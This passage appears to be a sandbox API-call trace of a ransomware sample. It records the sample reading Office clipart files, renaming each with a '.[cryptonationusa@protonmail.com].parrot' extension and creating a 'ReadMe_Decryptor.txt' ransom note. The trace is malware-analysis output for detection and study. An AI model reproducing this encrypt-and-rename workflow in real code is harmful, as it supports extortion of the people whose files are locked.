lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2f0, lpOverlapped=0x0) returned 1 [0130.212] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.212] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00586_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00586_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.215] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.215] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.217] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b90, lpOverlapped=0x0) returned 1 [0130.218] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00775_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00775_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.221] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.221] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.223] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.223] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2332, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2332, lpOverlapped=0x0) returned 1 [0130.224] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.224] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00779_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00779_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.227] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.228] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.228] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3690, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3690, lpOverlapped=0x0) returned 1 [0130.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.232] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.232] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.234] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa6d0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa6d0, lpOverlapped=0x0) returned 1 [0130.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.237] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00814_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00814_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.240] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.240] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.242] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.242] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b3c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3b3c, lpOverlapped=0x0) returned 1 [0130.243] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.245] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.248] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.248] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.249] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.249] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x121a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x121a, lpOverlapped=0x0) returned 1 [0130.250] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.251] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.253] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.254] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.255] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.255] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x96c, lpOverlapped=0x0) returned 1 [0130.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.256] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.258] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.259] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.260] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.260] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1378, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1378, lpOverlapped=0x0) returned 1 [0130.261] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.261] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.265] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.265] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.308] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.308] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf7c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf7c, lpOverlapped=0x0) returned 1 [0130.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.310] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.314] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.314] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.316] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x488, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x488, lpOverlapped=0x0) returned 1 [0130.316] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.320] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.320] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.321] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.322] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x91c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x91c, lpOverlapped=0x0) returned 1 [0130.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.322] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.334] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.334] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.336] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.336] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x284c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x284c, lpOverlapped=0x0) returned 1 [0130.337] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.341] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.341] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.343] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.343] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x76ce, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x76ce, lpOverlapped=0x0) returned 1 [0130.344] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.351] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.351] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.353] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4604, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4604, lpOverlapped=0x0) returned 1 [0130.354] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.355] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.359] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.359] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.362] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.362] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x79cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x79cc, lpOverlapped=0x0) returned 1 [0130.363] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.364] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.369] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.370] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.370] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x329e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x329e, lpOverlapped=0x0) returned 1 [0130.371] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.375] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.375] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.390] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.390] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9b8, lpOverlapped=0x0) returned 1 [0130.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.391] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xad0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.391] CloseHandle (hObject=0x27c) returned 1 [0130.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0130.395] GetFileType (hFile=0x27c) returned 0x1 [0130.395] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 